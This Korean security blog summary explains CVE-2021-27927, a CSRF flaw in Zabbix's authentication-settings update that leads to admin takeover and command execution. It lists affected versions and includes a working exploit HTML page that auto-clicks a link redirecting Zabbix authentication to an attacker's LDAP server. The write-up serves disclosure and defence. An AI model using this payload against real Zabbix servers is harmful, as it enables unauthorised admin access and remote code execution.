[하루한줄] CVE-2021-27927: Zabbix에서 발견된 CSRF를 통한 RCE

URL

CVE-2021-27927: CSRF to RCE Chain in Zabbix

Target

  • Zabbix version < 4.0.28rc1, 5.0.8rc1, 5.2.4rc1, 5.4.0alpha1

Explain

기업용 IT 네트워크, 애플리케이션 모니터링 솔루션 Zabbix에서 CSRF 취약점이 발견되었습니다. 취약점은 Zabbix UI의 인증 부분에 존재하며, CSRF를 통해 인증되지 않은 사용자가 Zabbix 관리자가 악성 링크를 접속하도록 유도하여 관리자 권한을 획득할 수 있습니다. 취약점은 SameSite=Lax 쿠키 보호가 적용된 경우에도 모든 브라우저에서 악용될 수 있습니다.

Zabbix는 request body의 sid 파라미터에 anti-CSRF 토큰을 사용하여 CSRF 공격을 방지합니다. 하지만 애플리케이션의 인증 설정 업데이트 부분에서 anti-CSRF 토큰을 사용하지 않습니다. 또한 Zabbix는 POST request의 모든 파라미터를 GET을 통해 URL 쿼리 파라미터로 전달할 수 있습니다. 따라서 인증 설정 업데이트 부분에서 GET request를 전송하면, sid 파라미터가 없어도 처리됩니다.

취약점을 트리거하는 순서는 다음과 같습니다.

  1. 타깃 Zabbix 애플리케이션에 접근할 수 있는 LDAP 서버를 설정합니다.

  2. 악성 HTML 페이지를 삽입한 웹 사이트를 호스팅 합니다. 아래는 exploit 코드의 예제입니다.

    <html>
    <body>
    
      <p>Any web site</p>
      <a id='link' href='http://192.168.0.140/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a>
      <script>
        document.getElementById('link').click();
      </script>
    
    </body>
    </html>
  3. Zabbix 관리자가 해당 링크에 접속하면, 인증 설정이 자동으로 업데이트됩니다.

  4. 해커의 자격 증명을 통해 관리자로 로그인할 수 있습니다.

해커는 Zabbix에서 인증 설정이 업데이트되면 자격 증명의 유효성 검사를 통해 LDAP 서버에서 CSRF 공격이 성공했는지 확인할 수 있습니다. 또한 관리자로 접근할 시 Zabbix에 내장된 기능을 통해 Zabbix 서버, Zabbix 서버 프록시, Zabbix agent에서 command execution이 가능합니다.